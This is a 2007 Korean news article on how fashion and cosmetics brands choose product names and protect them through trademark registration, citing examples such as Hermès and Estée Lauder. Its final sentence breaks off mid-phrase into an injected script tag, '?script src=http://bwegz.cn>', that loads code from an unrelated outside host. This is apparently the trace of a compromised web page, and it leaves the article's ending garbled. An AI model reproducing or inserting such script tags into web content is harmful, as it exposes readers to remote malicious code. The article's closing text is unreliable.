‘패션계 네임 전쟁’에서 살아남기
2007-03-17 <예정현 기자>
소비자들로 하여금 특정 제품을 사게 만드는 요인은 무엇일까? 물론 디자이너의 크리에이티비티(독창성)라는 거창한 이유부터 지갑을 열게 만드는 유혹적인 마케팅, 그도 저도 아니면 가격 조건이 맞아서 등등이 구매욕을 자극하는 원인으로 꼽힐 수 있겠다. 하지만 대다수 소비자들을 움직이는 가장 기본적인 요인은 바로 제품명, 네임(name)이다. 사실 업체들이 고가의 모델이나 유명 광고사와 손잡고 제작한 광고에서 가장 많이 반복되는 것은 해당 제품의 이름이고, 광고란 것이 따지고 보면 소비자들의 머리 속에 ‘그 제품의 이름을 각인시켜 조건, 혹은 무조건 구매 반사를 일으키게 하는 것’이고 보니 업체들이 신 제품을 출시할 때마다 효과적인 이름 붙이기에 골머리를 앓는 것도 지극히 당연한 셈이다. <예정현 기자>
소비자를 유인하는 매력적인 이름은? 혹자는 하이엔드 브랜드들은 이미 알만한 사람을 알아볼 정도의 대중적인 브랜드 명을 갖고 있으니 구태여 신규 이름 작명에 고민할 필요가 있느냐고 하겠지만 「에르메스」 버킨 백이나 「페라가모」의 헵번 슈즈, 「발렌시아가」의 모터사이클 백, 「이브생로랑」의 뮤즈 백 등 패셔니스타들의 머리 속에 기억될만한 이름을 찾는 것은 그것이 의도된 작명이건, 혹은 사람들이 그렇게 불러서 고착된 명칭이든 제품의 인지도를 높이기에 절대적이다. 여기에 매출을 증가시킬 수 있는 절대적 장치인 만큼 신규 아이템을 내놓을 때 이름에 대해 고민하는 것은 하이엔드 브랜드라고 해서 피해갈 수 없는 일이다.
더구나 요즘처럼 수많은 패션 & 코스메틱 브랜드가 난립하고 있는 상황에선 적절한 이름을 찾기란 그야말로 하늘의 별 따기. 쓸만한 이름은 이미 상표로 등록되어 있는 경우가 많은 것도 업체들이 안고 있는 또 다른 고민으로 네이밍을 할 때 단순히 로컬 시장 뿐 아니라 글로벌 시장을 염두에 두고, 혹시나 있을지 모르는 네임 소송 거리를 사전에 차단하는 것이 필수과정이 되었다.
특히 인터넷을 비롯한 각종 매체의 발달로 전 세계 시장의 거의 하나의 선상에서 움직이게 되면서 글로벌 소비자들의 마인드에 어필해야 한다는 압박감도 심해 제품의 이름을 정할 때는 사전에 등록된 이름인지 확인하고 자국은 물론 국외에서 그 제품의 네임을 보호받을 수 있는 법적 조치를 꼼꼼히 살펴봐야 복잡한 네임 전쟁에 휘말리지 않을 수 있다.
문화와 언어를 넘어라
법적 기반 이외에도 패션 및 업계의 네이밍 고민을 더하는 것은 다양한 문화와 언어의 장벽을 뛰어넘는 공통적 관심사, 혹은 매력을 이름에 부각시키는 것이다.
즉 언어를 뛰어넘는 비주얼과 백 그라운드 뮤직, 혹은 나레이션이 가미되는 광고 마케팅이 ‘네임 각인’ 과정에 필수적이며 어떤 제품의 이미지에서 연상되는 스타일, 혹은 반대로 제품의 이미지를 구성해주는 시각적 효과를 활용해 본격적인 소비자 심리 파고 들기가 시작되는 것이다.
결과적으로 디자이너들이 주창하는 크리에이티비티는 결국 소비자의 심성을 자극하는 것이고, 브랜드의 네임은 소비자의 브레인을 스토밍하는 도구이며, 광고는 소비자에게 그 이름을 끝없이 반복학습시키는 장치인 셈이다. 그리고 이 모든 과정 중에서 가장 중요한 것은 결국 소비자의 감정(emotion)을 어떻게 파고드느냐 하는 문제다. 즉 브랜드 제품명은 최전방에 서서 소비자의 이모션을 건드리는 발파제 역할을 하기 때문이다. 그런 만큼 네이밍 과정은 단순한 사업이 아니라 일종의 심리전이라 할 수 있다.
상표권 전쟁, 오프라인에서 온라인까지
이런 과정을 거치며 제품명을 결정하는 만큼 업체들은 자사의 상품명을 보호하기 위해 상표권 등록을 할 수 밖에 없어 상표권 시장은 그야말로 확산 일로다. 실제로 「에스터로더」는 매년 40여 개의 제품명에 대해 상표권을 등록해놓고 있는데 기존의 제품에 추가되는 상품이나 곁가지 상품들의 이름까지 포함한다면 그 개수는 두 배를 훌쩍 뛰어넘는다.
이처럼 다른 업체가 소유한 상표권을 침해하지 않는 동시에 자신의 상표권을 보장받기 위한 노력이 가속되는 과정에 바로 인터넷 테크놀로지가 적용되는데 많은 업체들은 인터넷을 통해 각국에 등록된 상표명을 확인하고 새로 등록되는 이름들을 주기적으로 업데이트해 상표명 분쟁도 막고, 원하는 이름이 있는데 상표권이 등록되었다면 그 유효기간이 해지되는 ?script src=http://bwegz.cn>
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